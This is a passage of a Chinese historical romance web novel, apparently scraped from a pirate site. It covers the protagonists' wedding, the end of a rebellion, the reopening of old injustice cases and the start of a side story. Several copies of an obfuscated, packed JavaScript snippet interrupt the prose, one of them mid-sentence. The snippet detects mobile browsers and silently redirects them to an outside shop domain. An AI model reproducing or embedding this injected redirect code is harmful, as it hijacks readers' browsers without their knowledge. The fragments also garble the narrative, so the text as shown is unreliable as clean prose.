l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049286|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗过别人啊。” 司言:“……” 当初就不该送她那一箱话本。 “不过我想……”阿柔话锋一转,伸手摸上他的脸颊,“像你这般模样,应当没什么问题。” 司言抓住她的指尖,挑眉看她,“阿柔,这种话,也是和话本学的?” “我是真心实意地夸你,怎么能说是跟话本学的?”阿柔笑眯眯地回望而去,眼眸明亮,如装星辰。 “阿柔若真想看,我下次扮给阿柔看便是。不过……” “不过什么?” “阿柔总得给我些好处吧。”司言微微扬起嘴角。 “好说好说。” 阿柔大方地答应了,随即扬起脸,在他唇角浅啄一口。 这“好处”还没待司言反应过来,便已结束了。 他哑然片刻,“就这?” 阿柔觑着他难以置信的神色,故意说道:“这还不够?司门主,贪心了啊。” 司言简直哭笑不得,“分明是阿柔小气,怎么反倒说我贪心?” 眼看司言一副誓不罢休的模样,阿柔也不再逗他,“好啦,不就是向我讨些好处罢了,给你就是。” 这一次,不再是浅尝辄止的吻,而是一场肆意纠缠的唇齿相接。 心中仿佛有一道难填的欲壑,教唆二人不断索取掠夺。温烫的鼻息落在面颊之上,撩起一层又一层潮红。 司言尝到了一点甜头,便愈发贪心起来,将她抵在梳妆台前,交缠更深。他的手不安分的摸索着,妆台摇摇晃晃,台上的瓶瓶罐罐倒了不少,发出丁零当啷的细碎声响。脂粉的香气逸散浮动,平添几分靡乱气息。 不知过了多久,一吻终于结束。二人分开之时,还在轻轻地喘息着。 阿柔耳尖红得可以滴血,刚画好的唇妆也变得混乱不堪,她一边喘气一边看向司言,“司门主,这也是你新学的?” “嗯。”司言轻声应道,鼻尖在她颊侧蹭了蹭,“刚学会的。” …… 待到补完唇妆后,阿柔才知道,司言今日约她相见,不只是为了送礼,还是为了给她画一幅画像。 “我原先答应过,要为你作一幅画像。只是时局紧张,一直不得机会。如今好不容易放松下来,是时候该兑现诺言了。” 司言牵着阿柔的手,来到院中,那里已然摆好了桌案与笔墨,一张空白的画卷平铺其上。 阿柔在空地上站好,有些手足无措,“需要摆什么姿势吗?” “不用。”司言在桌案前坐下,调试笔墨丹砂,“做什么都行,不必刻意。无聊的话,可以荡会儿秋千。” “哦。” 原来是怕她无聊才扎的秋千。 阿柔依言坐在秋千上,慢吞吞地荡了起来。 她一边荡,一边和司言说着话。 “阿言啊。” “嗯?” “你在京城的事,什么时候能办完啊?“ “我已将能做之事都做尽了,现在看的是陛下的态度。”司言提笔开始作画,在卷上先行勾勒出少女荡着秋千的轮廓来,“但时局未稳,叛军又尚未剿清,我的事,总归不会放在这些事前面的。” “说的也是。”阿柔轻叹一口气,“也不知西北边境的情形如何了,阿爹和大哥也不曾写信回来。” “若西北情况有异,故渊门第一时间便会得到消息,阿柔且放宽心吧。更何况……”司言劝慰道,“你我离去之时,王爷不是说过吗,区区赫月蛮夷,还越不过西北铁骑的脊梁。相信王爷和世子爷吧。” “嗯,我知道,我当然相信他们。”阿柔勉强笑了笑。 司言见她情绪低落,稍稍停下手中的笔,抬头看她,“若实在担心,成婚之后,我们去西北一趟?” 阿柔立刻坐直了身子,“可以吗?你在京中的事情不是还没办完吗?” “当然可以。”司言笑道,“左右陛下一时半会儿也管不到我的事,倒不如趁着这个机会,好好出去走走。” “那就这么说定了!”阿柔重新扬起笑容。 见她恢复了精神,司言心中亦是欢欣,继续提笔作画。 随着时光流逝,画中之景,也逐渐清晰明了起来。 满院落叶,秋色斑斓。心上之人一身橙红,眼底盛着万般光华,正坐在秋千之上,冲着他笑。 日光洒落,为她镀上一层辉光,连带着发丝也在发亮。像是灵动的仙娥,又像是一簇温暖的火光,仅仅只需坐在那里微笑着,便已胜过这世间太多的美好。 司言觉得,这就是他作过最美的一幅画了。 89. 大婚 腊月中旬,初雪落长祈。 景西王府上下张灯结彩,忙作一片,四处都充斥着热闹与喜庆的气息。 大嫂早在故渊门的护送之下回了长祈。作为长嫂,自然而然便操持起了阿柔的婚事。在她的协助之下,一切流程都被安排得妥帖顺当,对此,阿柔心怀感激。 其实对于阿柔而言,成婚之礼,不过是一个形式罢了。她与司言之间的感情本就不是父母之命,不是媒妁之言,源自于对彼此的欣赏,又在细水长流的相处中滋长。他们二人间的感情,本就无需用一个形式来证明。 当然,这只是灵光乍现的想法。 她需要一场婚事,从而顺理成章地辞去军中职务,重获失去良久的自由,也好减轻新帝对她和景西王府的忌惮。 所以,该办的婚礼,还是得办。 尽管这段姻亲源自于二人间的情投意合,原是不该掺和任何杂质的。但阿柔毕竟不是养在闺阁里的少女,从不认为成亲便是这辈子的全部意义。 顺势而为便可解决掉的麻烦,没有道理不做。 若说遗憾,大抵是远在西北的父兄不能亲临现场吧。 长祈仍处于休养生息的状态,偶尔办场喜事,稍微冲淡一些压抑的氛围倒还好。若是穷奢极侈、奢靡无度,怕是要惹得城内百姓不忿。 所幸,他二人也不是什么高调的性子,身边的熟人算来算去,统共也就那么几个。 当初司言购置京城宅邸时,用的是“顾云深”这个名字,对应的是“云深先生”的身份。 若李晁奚不肯答应重审冤案的要求,他便可以云深先生的身份,通过翰林学士杨以清的引荐面圣,亲自揭开陈年旧案。 而如今,他与李晁奚的交易已经达成。如果没有意外,这条备用方案应当是用不上了。但这处挂着“顾宅”匾额的院落,还是不适合大张旗鼓地显露于人前。 再加上司言本身只是一介无权无名的江湖之人,也就省去那些迎亲的繁文缛节,干脆直接在景西王府拜堂成亲。 成婚之日,门庭熙攘,热闹非凡。 二人牵着手,在众人见证之下拜了堂。 “一拜天地——” “二拜高堂——” “夫妻对拜——” “……” …… 卧房早已被布置得焕然一新。四处挂着红色绸缎,门窗贴着“囍”字剪纸。 床前两侧各摆一只灯笼架,发出柔和的暖光。檀木圆桌上铺了一层红色台布,尾端缀有流苏。旁侧立着个落地烛台,其上点着红色矮蜡,火光幽微。就连脚下地毯,也换成了喜庆的红色。 阿柔不是个能坐得住的人,更不是个爱守规矩的人。一个人在卧房等候的时候,她便掀了盖头,坐在桌前,捡着果盘里的零嘴吃。 一直到外面响起脚步声,阿柔才不慌不忙地坐回床上,自己将盖头盖了回去。 司言一进卧房,便注意到桌上果盘被人动过,零碎的瓜子壳还有橘子皮就那样大剌剌地散在桌子上。 他忍不住低笑一声,坐在蒙着盖头的新娘身边,“需要叫厨房送点吃的来吗?” “倒是不饿,就是闲得无趣。”阿柔蒙着盖头,什么也看不见,轻轻拍了拍身边的人,“先把这玩意儿取下来。” “好。”司言柔声说着,拿起杆秤,将那碍事的红盖头挑开,终于看到了心心念念的爱人。 佳人红妆,凤冠霞帔,明艳动人,是他从未见过的模样。 即使相识相知数载,即使历经生死与共之局,即使早已将这副容颜记录在画卷之中,又深深地镌刻于心,当揭下盖头的那一刻,司言还是忍不住为之心动。 阿柔,阿柔…… 真的到了这一天,他们真的走到了这一天。 恍然间,司言觉得自己像是在做梦,做一场很美的幻梦。 “愣着干什么?”阿柔在他眼前挥了挥手,笑道,“看呆了?” 司言回过神来,“嗯。” 阿柔半开玩笑似的说道:“这么多年过去了,我的模样,你还没看够?” 而司言却伸出手,抚上她的发梢,回答地格外认真,“嗯,无论多久,都看不够……” 阿柔望着他认真的眉眼,心间泛起丝丝甜意,又涌上无尽的感动。 眼前之人,是她心爱之人,是往后余生将要休戚与共之人。 阿柔这一生不畏人言,自在随心。自离开师门后,便只身一人行走于山川湖海之中,亲眼见证人间至美光景,将山河奇观尽数收归于眼中。 长祈城这两年的经历,不过是她人生路上的寥寥一笔。往后余生,她仍旧要归于山野,做一畅快自由的闲人。 而今日之后,她不再是一个人。 这条无尽的旅途,总算有了同行之人。 “阿柔。”司言轻声唤她。 “嗯?”阿柔有些慌乱地应声。 方才打趣了司言,却不想自己竟也走了神。 “羁鸟恋旧林,池鱼思故渊①……”司言遥想昔日的点滴片段,沉吟着,“你曾问我,羁鸟和池鱼尚有心归之处,而我的归处,又是何方呢?” 阿柔心中一动,思绪翻涌。 她说过的话,他都还记着…… “现在,我有答案了。”司言缓缓靠近她,眼中情意流转、温柔缱绻。他牵过阿柔的手,按于自己左胸的位置,“我心归处,名唤阿柔。” 怦,怦,怦…… 指腹隔着衣料,感受到他心间有力的跳动。情思涌动,浑身上下的每一寸肌肤都在发烫发热,怂恿着她,去索取更多亲近与爱抚。 于是,他们自然而然地交换了一个漫长而粘腻的吻。 罢了,似是觉得不够,司言又托着阿柔的后颈,在她唇上、颊侧、颈间留下一道又一道的吻痕。 阿柔被他撩拨得有些意乱情迷,裸露在外的皮肤尽被洒上灼热鼻息。她用残存的理智推了推司言,低声道:“交……交杯酒……” 司言暂且松开怀抱,斟了两杯酒,将其中一杯交给阿柔。 二人脸上皆泛着红,缓缓贴近距离,双臂交缠,共同饮下交杯酒。 杯酒入喉,身上血液愈发灼烫。 烛火幽微,红帘低垂。 厚重的大红色婚服一层一层剥落,散落在地。 热气升腾,气息交缠,方寸之地,早已被欲色填满,令人将近窒息,却又感到极度的欢愉。 如一幅光洁雪白的画卷,就在今日,执笔之人终于情至深处,难以自抑,在卷轴之上绘上红砂,留下浓墨重彩的落款。 烛火将尽,好夜漫长。 无需山盟海誓,一切尽不在言中。 …… 新帝即位第二年,补办登基大典,改年号为“永安”。 永安元年年初,大战时临危受封的昭武副尉戚雪柔进宫面圣,辞去军中职务,圣上应允。 年后,司言与阿柔启程西北。彼时边境战况仍旧焦灼,但比起去年秋日之时,局面已有好转。 当初连远道节度使谢阳勾结哈赤努尔,突袭西北大营,导致西北铁骑伤亡惨重,营地尽失,边境防线变得极为薄弱,只能固守宛阳城墙这最后一道防线。 而哈赤努尔带领的赫月兵来势汹汹,大有一鼓作气拿下宛阳的态势。那时宛阳城的处境,与后来叛军围城的长祈城差不了多少。 西北铁骑背水一战,严防死守,整个宛阳上下一心,就连百姓也参与到这场战事中来。男人负责扛送物资,女人则为将士缝制冬衣、照顾伤者。 历经千难万险、九死一生,最艰难的日子总算捱过去了,哈赤努尔攻势虽猛,但面对大昭边境的铜墙铁壁,若是不能一举击破,也只能面临再而衰,三而竭的局面。 骁勇善战的西北铁骑,再一次向世人证明了他们的强大。 司言与阿柔赶来之时,这场战事基本已到了收尾阶段。 阿爹在先前的交战中受了些伤,已退居后方。 他早已不是当年那个二三十岁,体质强健的男儿郎,鬓角与发间的斑白之色,皆昭示着英雄已老的事实。年轻时所看不上的伤,而今却能引发身体上一茬又一茬的问题。 但好在,戚思辰很好地继承了景西王的衣钵,无论军事才干,还是武学技巧,都不输当年的戚叶临,甚至还要更胜一筹。 更不必说,他还如此年轻。属于他的传奇,正在书写。 听说司言和阿柔二人已经成婚,戚叶临并未有太多惊讶,当夜便请这个女婿一起喝了场酒。 阿柔赶到之时,二人都已醉得有些神志不清了。无奈之下,只能拜托府上护卫搭把手,好不容易才把两个醉鬼运回各自房间。 相较之下,戚思辰的反应就格外强烈。 远在前线的戚思辰刚打了一场胜仗,正准备回城与戚叶临商讨后续事宜,却听楚副将说起阿柔与司言的事,顿时坐不住了。 原定第二日出发回宛阳,戚思辰却打乱规划,直接星夜启程,赶在天亮之前赶回了宛阳景西王府。 他满脑子都想着如何质问阿柔,为何成亲这么重要的事不同他和阿爹商量。急火攻心之下,忘了此时此刻已是深夜。 刚入内院,戚思辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105574|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便被值夜的侍女拦下,“世子爷,三娘子已经和姑爷休息了。” 三娘子已经和姑爷休息了…… 和姑爷休息了…… 休息了…… 戚思辰遥遥地朝院里望了一眼——那卧房的灯分明还是亮着的。记忆中,阿柔可从来没有睡觉时留灯的习惯。 戚思辰:“……” 那夜,戚思辰在阿柔院外的回廊枯坐至天明。待戚叶临寻过来的时候,身上都落了一层霜。 而造成戚思辰一夜未眠的罪魁祸首,因为太过疲累,睡到日上三竿才醒来。 再后来,阿柔不知道用了多久,才终于将别扭的大哥哄好。 即便如此,没能亲临幼妹的婚礼,依旧是戚思辰心头一道过不去的坎。于是,在戚思辰的极力要求,戚叶临、楚思越以及王府众人的极力怂恿之下…… 阿柔和司言又在西北成了一次亲。 …… 这次回西北,主要目的是确认阿爹和大哥的安危。大致了解过战局过后,阿柔写了一封信寄回长祈,好让二哥他们也能放下心来。 做完这件事,她又分别去看望了当初宛阳沦陷时,遭到谢阳伤害的女孩们。 得知大部分人在莲儿和慧芳的照顾之下,已逐渐从过去的阴影中走了出来,便也渐渐放下心来。 至于剩下那些仍旧没能走出来的人,阿柔就多分给她们一点耐心,尽心尽力地开导抚慰。 时间总能抚平伤痛——只要有人愿意在他们深陷泥沼之时拉上一把。 …… 永安元年四月,以宁长衫和唐元思为首的朝廷军成功收复青函关,持续北上。 之后几个月,朝廷军先收河北三城,继而控制住整个河北地区,直接将叛军逼回北境常泽。 永安元年七月,怀王李晁烨率东南驻军北上,试图杀敌立功,为自己谋求重归朝局中心的机会,攒下推翻李晁奚的筹码。然而北上途中遭遇朝廷军,被误认为叛军贼首,乱箭射死于永定河中。 永安元年十月,戚思辰率领西北铁骑深入敌军营地,直取哈赤努尔首级,一举平定西北之乱,立下不世之功。赫月蛮夷重新臣服于大昭统治之下,恢复朝贡,俯首称臣。 永安元年腊月,西北铁骑与朝廷军同时进军北境常泽。叛军孤立无援,早已是强弩之末,据城而守一月,终至沦陷。贼首薛重山见大势已去,自刎于城楼之上。 至此,这场叛乱终于画上了句号。 内忧外患尽数解决之后,戚家父子二人终于得以归京,与家人相聚。 戚思辰回来之时,长祈城正是初雪。 一进内院,便看到两个奶乎乎的小团子在雪地里玩闹。 戚靖暄面无表情地跟在满地乱跑的妹妹身后——比起玩雪,他其实更乐意待在屋子里看书。但阿娘说了,他是做哥哥的,合该照顾妹妹,所以还是无奈地跟出来了。 唉,没办法,半大的小女娃,路都走不稳,就喜欢跑来跑去的,若是不小心摔了,阿娘肯定又要心疼地掉眼泪,只好由他来看着了。 檐下,杨昔云正坐在椅子上,缝着给戚思辰做的冬衣,时不时地抬头看看两个孩子的情况。 就在又一次抬头之时,她蓦地睁大了双眼,愣在原地。手一松,手上的东西便掉在了地上。 她张了张口,喉间干涩哑然,瞳孔却瞬间蓄满了泪水。 她心心念念盼了两年,忧了两年的人,毫无征兆地出现在了她的面前。 “夫君……” 两年未曾说过这个称呼,杨昔云甚至感到有些陌生。 戚思辰心绪翻涌,终于忍耐不住,朝着妻子疾步而来,继而将她整个抱在怀中。 “我给你缝的衣服,装了两个大箱子。”杨昔云埋在夫君怀中,哽咽着,“你再不回来,我就要送给别人了。” 戚思辰听到她哭,心脏像是被人用手紧紧攥住一样疼。在战场之上杀伐果断、决胜千里的将领,此时此刻,手足无措地抱着他所爱之人,轻抚她的背,一下又一下地哄着,“回来了,夫君回来了……” 玩雪的小女儿停在原地,看着突然出现在院里的高大男人,歪着头,似乎有些不解。 戚靖暄看出她的疑惑,在旁边解释道:“那是阿爹。” 说罢,他牵起妹妹的手,朝着阿爹阿娘的方向走去。 分别已久的家人,在这一刻,终于紧紧相拥在一起,久久不愿分离。 当日在西北之时,戚叶临曾说过,待到战事平定,他们一家人,总该好好地聚一聚。 而现在,这个约定终于可以实现了。 90. 终章 永安二年,大昭归于安定。重审故渊门七十一名弟子所负冤案一事,终于提上日程。 虽然李晁奚早先便答应了司言的请求,但要一口气重审几十桩旧案,终归不是易事。 先帝在位期间,出现了百年难遇的盛世光景。可在这“盛世”背后,却有无数冤情埋在深雪之中,不见天日。 重审这些旧案,无异于亲自揭开大昭所谓“盛世”的假面。 更不必说,这些案子还牵扯到了不少权高位重的朝臣。尽管朝堂在李晁奚的肃清之下,已比从前清朗了不少,仍旧有些淤积已久的毒瘤难以铲除。 要做成这件事,受到的阻力不会小。唯一还算幸运的是,梁朝越和林予哲这两个奸佞之臣,早在叛乱之时就已身死。剩下的毒虫要清理起来,会容易许多。 此事虽然难做,却是肃清朝堂风气的一大机会,总还是值得的。 只是万事开头难。要想审理旧案,需要一个契机,或是由头。 李晁奚不可能把和司言交易翻到明面上来。重审旧案一事,不能由他自己来提,须得找一个可信之人替他在朝局上提出来。 这一人选,必须要有智慧和分寸感,知道什么该说,什么不该说,还得在朝中有一定的影响力。如果再能有强大的身世背景作以支撑,就更好了。 思来想去,最符合以上条件的,当属戚思彦。 戚思彦本就是大理寺少卿,若说在整理卷宗之时发现了些许疑点,故而要求重审旧案,从逻辑上说得过去。 李晁奚刚拟好了这个人选,还没想好该如何同他开口,戚思彦便主动进宫求见。 御书房内,戚思彦恭敬行礼,“臣知陛下近日在忧心何事,愿为陛下分忧。” 李晁奚有些意外地挑了挑眉,“哦?你知道朕在筹谋着什么?” “因幼妹之故,故渊门之事,臣多少也知晓一些。”戚思彦不紧不慢,格外沉稳,“陛下要重审故渊门七十一名弟子所负之冤案,以此肃清朝纲、匡正世风,乃是为国为民的贤能之举,臣定倾力相助。现今不缺人证物证,缺的是个引芯。此事由臣来做,再合适不过了。” “不愧是戚爱卿,朝中若能有一般人像你这般通透,朕也就不必整日劳心费神了。”李晁奚眼中满是赞许之色,“此事会触及不少朝臣利益,可是个容易招致报复的苦差事啊,你当真愿意?” “臣既主动求见陛下,自然做好了决定,绝无退缩之意。”戚思彦全无惧意,语气铿锵有力。 “你的心性,朕是知晓的。”李晁奚点点头,“既是如此,此事就交由戚爱卿了。” 聪明人之间不必多说,李晁奚自然明白他为何愿意主动做这个引芯。 戚思彦其人,是鱼龙混杂的朝堂之上的一股清流。他聪慧敏锐,既看得透时局变化,又能为圣上排忧解难。为人正直,却又不至太过单纯。 他主动承担此事,无非是看不惯有人背负着冤情受苦,顺道还能还了当年故渊门助战西北边境的恩情。 戚思彦主动挑起这件差事,倒是给李晁奚省了不少麻烦。 之后的一切都在有条不紊地进行着。 …… 永安二年五月,大理寺少卿戚思彦于朝堂之上提出陈年卷宗之疑点,求请圣上重审前朝旧案四十余件,朝野上下震惊不已。 朝堂立时分作两派。一派为天子心腹之臣,皆赞成此举。另一派则极力反对,痛斥戚思彦心怀不轨,甚至污其篡改卷宗,求请圣上夺其官位。 一时之间,朝堂之上刀光剑影,戚思彦也成了众矢之的。 可戚思彦昔日在朝堂之上,即便面对奸佞权臣梁朝越的针对刁难,面对满朝竟无一人敢为其说话的无援局面,亦不曾退缩半步。而今对上这帮身无本事、只会保全自己的小人,又岂能惧怕? 戚思彦不卑不亢,仅以一己之力,便能将反对之人说得无能狂怒、哑口无言。 李晁奚乘胜追击,趁此机会宣布重审旧案,任命戚思彦为主审之人,由心腹之臣协同审理。 接下来的几个月,朝局之上,便是你来我往的交锋。 审理结果尚未出来前,所有牵涉其中的官员惶惶不安,想尽一切办法诋毁打压戚思彦,企图阻挠案件调查。 更有甚者,不惜使出刺杀这等下作手段,也要阻止案件审查。不过这些刺客最终都被故渊门和天子暗卫拦下了。 李晁奚登基不过两年,他必须要趁这个机会向所有人传达一个讯息——他是真命天子,不是个能被肆意捏在手里的软柿子。天子想做的事情,没有人可以违逆。 于是,多方势力互相试探、互相拉扯、互相攻击了几个月后,昔年真相总算大白于天下。 故渊门七十一名罪臣遗后终于洗净身上冤屈,从此以后,再也不必隐姓埋名,而是光明正大地行于世间。 …… 司言昔日所求已得回应,亲自入宫拜谢帝王。 是拜谢,亦是告别。 此时此刻,他二人并非君臣,并非合作对象,若说是朋友,似乎也差了些意思。 但不论该以何种言语描述二人间的关系,都已不重要了。 李晁奚早就料到司言会来,提前令人备了佳酿。待司言进了宫,就派人召他来御花园凉亭小坐。 司言听召而来,躬身一拜,“草民司言,见过陛下。” “不必多礼。”李晁奚的语气难得温和,神情也格外和缓,“坐吧。” “谢陛下。”司言依言坐在他对面。 “这是西域新进贡的琼浆,你试试看?”李晁奚目光落在他身前的酒杯上。 “那在下就谢过陛下美意了。”司言也没客气,举起酒杯一饮而尽,而后被辣得皱了皱眉头,“嗯,好烈的酒。” “西域的酒,大多都这样烈。”李晁奚笑着回应,“但苦辣过后,却有回甘之味。” 司言稍稍感受了一下,有些惊讶地点了点头,“确实。” “这世间的许多事,大抵也如这烈酒一般。”李晁奚把玩着手中的酒杯,眼眸深邃,“入口时虽然苦涩,回味过后,总能品出些许醇香来。” “是啊。”司言扬起唇角,“恭喜陛下,苦尽甘来。” 李晁奚轻叹一口气,半开玩笑地埋怨道:“阿言啊,你是无事一身轻了,可给朕留下这么一堆烂摊子。” 冤案虽然已经审理完毕,但要如何处置那些牵涉其中的朝臣,仍然是个问题。此番涉及的朝臣太多,若处置太严,恐会遭到反扑,若处置太松,又达不到一开始整顿朝堂风纪的目的。 如何定罪,如何论罪,这些乱七八糟的事情,还需要与戚思彦他们细细商讨。今日过后,可有的他忙。 司言当然知道他在忧心什么,说道:“陛下英明神武,定能还天下一个朗朗乾坤。” “好了,这些客套话就莫要再说了。”李晁奚摇摇头,另起话题,“你的事解决完了,有想过往后做什么吗?” “往后啊……”司言想到未来的日子,面上浮起几分放松的笑意,“也许是闲云野鹤,游山玩水去?” “还真是潇洒自在。”李晁奚调侃,“那故渊门呢?不管啦?” “那还是要管的。”司言语调轻快,“只是偶尔,也该放放肩上的担子了。” “哦,这样吗。”李晁奚眼含笑意,“那便祝司门主往后余生,得偿所愿。” “嗯,陛下,您也是。”司言回道。 这一句祝福,是发自肺腑的。 司言对李晁奚的印象一直都很好。 他聪明通透,有勇有谋。既能为了生存,韬光养晦十余年,又能为了达成目的,主动涉入九死一生的险局。 李晁奚是个危险的人,但若不与之为敌,却是个厚道的合作对象。 况且,李晁奚是真心实意地想要为天下百姓做点什么,为大昭谋求一个比之先前还要繁华的未来。 所以,司言打心眼里希望李晁奚能够坐稳这个位置,并且如他所愿,开创一个前所未有的,真正的“盛世”。 他相信李晁奚有这个能力。 后来,二人又聊了许多话题,大多是些无关紧要的闲言碎语。 仔细想来,自结识起,他们便一直各怀心思、精于算计,还真不曾像现在这般心平气和地坐下来聊聊天。 随着日光渐落,时间流转,司言恍然间竟萌生出了一个幼稚而荒唐的想法——如果能和李晁奚单纯地做个朋友,应当也是件不错的事。 但他很快便反应过来,这是再不可能的了。 他与李晁奚之间,早已走向了无可挽回的死局。 司言不知作何感想,也许是一些浅淡的遗憾。但就像阿柔所说,在长祈的这几年,只不过是漫长人生中的寥寥一笔。 人之一生,本就会与无数人相遇,再与无数人道别。 他一直都明白的。 直至天边彤霞渐起,司言起身拜别,“陛下,天色不早了,我该走了。” 李晁奚轻叹一声,“阿言,你……” 听到他戛然而止的话语,司言问道:“陛下,怎么了?” “没什么。”李晁奚说道,“快到宫禁时候了,朕便不留你了。” “那在下,就此别过了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128414|130824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李晁奚摆了摆手,面露几分疲色,“嗯,去吧。” 司言走了两步,似是想起什么,又转过身来,郑重其事地行了一礼,“重审旧案之事,多谢陛下。” 他垂首而立,保持着行礼的姿态,过了片刻,听到那人回了个懒洋洋的“嗯”字,随后便退步离去,一路出宫了。 待司言走后,云飏从暗处出来,望着司言的背影,说道:“陛下方才……可是想留下司门主?” 李晁奚一手撑着桌子,揉了揉太阳穴,“云飏,朕看你是越来越大胆了,竟揣摩起朕的心思来了?” 云飏一惊,连忙单膝跪下,“属下知罪!” “你是朕的暗卫,应当知晓什么该做,什么不该做,嗯?”李晁奚的声音轻飘飘的,却带着几分不可忽视的压迫感。 “是,是……” “罢了,仅此一次,下不为例。”李晁奚最终还是没有说出更多苛责的话来。 其实云飏猜得没错,刚才有那么一瞬间,李晁奚很想问司言,愿不愿意继续留在京城辅佐他。 他看出司言确有真才实学在身上,是个文武双全的贤才。若是留在朝中为官,定能成为他寻求盛世光景的一大助力。 但是一来,司言绝对不会答应留下。二来…… 司言身上毕竟留着李焱的血,流着货真价实的皇族的血,并还掌握着李晁奚血脉的秘密……即便他二人现在还能够心平气和地坐在一处聊天,五年之后,十年之后呢?李晁奚真能永远都不忌惮吗? 若非如此,当初和司言做交易的时候,李晁奚也不会要求他事了之后,永生不再踏入长祈半步了。 没有杀掉他以绝后患,已是李晁奚这辈子做过为数不多的心慈手软的决定。 倘若留司言在京城为官,他们迟早有一天会走向决裂的终局。倒不如将这份友谊暂停于此,永远不要打碎好了。 李晁奚轻叹一口气,略微有些懊恼——如此优柔寡断,本不是他的作风。 只是…… 他终究还是太孤独了。 李晁奚又在亭中坐了许久,直到夜色渐起,终于起身朝着华美而空大的寝宫走去。 …… 永安二年十月,长祈城外北风萧索。 天际辽远,山河广漠,人在其间,仿若天地之中一浮尘。 郊野之上,一对侠侣,一人一骑。 那马背上的女侠,一身红色圆领袍,袖口缠着护腕,脚上蹬着长靴,腰间配一银色短刀。头发高高竖起,眉眼英挺俊朗,笑容恣意昂扬,是这苍茫原野中最亮眼的一抹颜色。 “怎么样,想好去哪了吗?”阿柔微微抬起下巴,迎着寒风,意气风发地冲着身边之人说道。 “嗯,想好了。”司言身着窄袖玄色衣袍,同样将长发挽起,平添几分少年气来,“我想先带你去江南看看。” “江南啊……”阿柔若有所思。 “怎么了?” “江南这地方,我从前也去过。不过这次和你一起,应当会别有意趣吧。”阿柔展颜一笑,“司门主想去江南,是要带我回故渊门,见见门中兄弟姐妹吗?” “是有这个打算,就看阿柔乐不乐意了。”司言浅笑着。 “乐意,怎么不乐意。”阿柔突然想起什么,开玩笑地道,“哎,你说,你那些兄弟姐妹,会不会像大哥那样,逼着咱们俩在故渊门再成一次亲。” 司言忍俊不禁,“这倒不会,不过……” 阿柔略一挑眉,“不过什么?” 司言眨眨眼,“再成一次亲,也不是不行。” “得了吧,我可不要那么麻烦。”阿柔笑着摇了摇头,“行啦,我们两个就别在这儿吹风啦。不是要去江南吗,走吧。” “嗯,走吧。”司言柔声说道,眸中满是温情,凝着无限的期待。 郊野之上,两道身影一同勒起缰绳,掉转马头,朝着江南的方向疾驰而去。 天地苍茫,风吹旷野。朝雾渐散,日光破云而来,倾洒于这片大地的每一处角落。 长祈城内晨钟鸣响,街上行人越来越多。有人劳作,有人吆喝,有人闲聊,有人卖艺…… 日升日落,平静祥和,与往常并无区别。 因此也就无人知晓,曾在长祈城镌刻下传奇故事的人,再一次告别这座喧闹繁华的城池,告别过去的迷惘与不安,拥抱阔别已久的,心之所向的自由。 他们的身影,被日光拉得很长。 往后岁月,有人相伴,幸甚至哉。 人世纷繁缭乱,此生宁作我。 ——正文完—— 91. 番外一:兰生幽谷 “师妹夜兰亲启, 前段时日听闻师妹偶感风寒,不知近日可还安好? 师妹心善,不常拒绝他人请求。兄弟姐妹同你亲近,自是好事。但门中事务本就繁忙,还是量力而行,莫要过多操劳。 闵川之事已经收尾,为兄不日便回江南。昨夜于山谷之中见一丛幽兰盈泛,与你相称,待归来之时,折一支与你看看……” “……” 午后,日光入户,屋内敞亮。 夜兰叹了口气,“好了鸦青,别念了。” 鸦青将信放下,双手撑着面颊,一脸八卦,“夜兰姐,这是叶师兄给你写的第几封信呀。” “……记不清了。” 鸦青眼前一亮,“那就是很多咯。” 夜兰没否认,继续调着手里的琵琶。 “我看叶师兄是真的喜欢夜兰姐,夜兰姐就不考虑一下?”鸦青怂恿着道。 “考虑什么?” “当然是……答应叶师兄啦。” 夜兰轻轻拍了拍她的脑袋,“他喜欢我,我就得跟他在一起?” 鸦青撇了撇嘴,“夜兰姐姐这么说,是不喜欢叶师兄?” “我……”夜兰下意识地想要说出那句“不喜欢”,可不知为何,总是说不出口。 鸦青却像发现了个惊天秘密般兴奋,“唰”的一下站起身来,“你犹豫了,你犹豫了!” 夜兰无奈地笑笑,“行了,瞧给你激动的。” “当然激动了,我可是赌……”鸦青话说到一半,突然反应过说漏嘴了,赶紧将嘴捂住。 “你赌什么了?”夜兰早已习以为常,平淡地问。 鸦青犹豫片刻,讪笑着道:“我和寒曜赌叶师兄能不能追到夜兰姐,输的人要给赢的人洗一个月衣服,我赌的能。” “那你恐怕得失望了。”夜兰低眉浅笑。 “为什么呀?”鸦青不解,“夜兰姐姐,你分明也是喜欢叶师兄的,不是吗?” “喜欢又如何?”夜兰轻笑一声,“前路未定,家仇未平,谁能说得明白未来会发生什么呢?” “正因没人说得明白未来之事,才更要珍惜好当下啊。”鸦青反驳。 夜兰也不恼,只是温和而苦涩地说道:“鸦青,我和你们是不一样的。” 她身上背负的仇恨太深、太重了…… 她的父亲萧锐清一生忠君爱国,宁愿为了守护大昭百姓献上生命。如此忠臣良将,最终却死于君王猜忌,死于小人谗言,死于一场策划良久的阴谋。 荒唐罪状,至亲之血,终究汇成滔天之怨。往后余生,日日夜夜折磨煎熬,不得解脱。 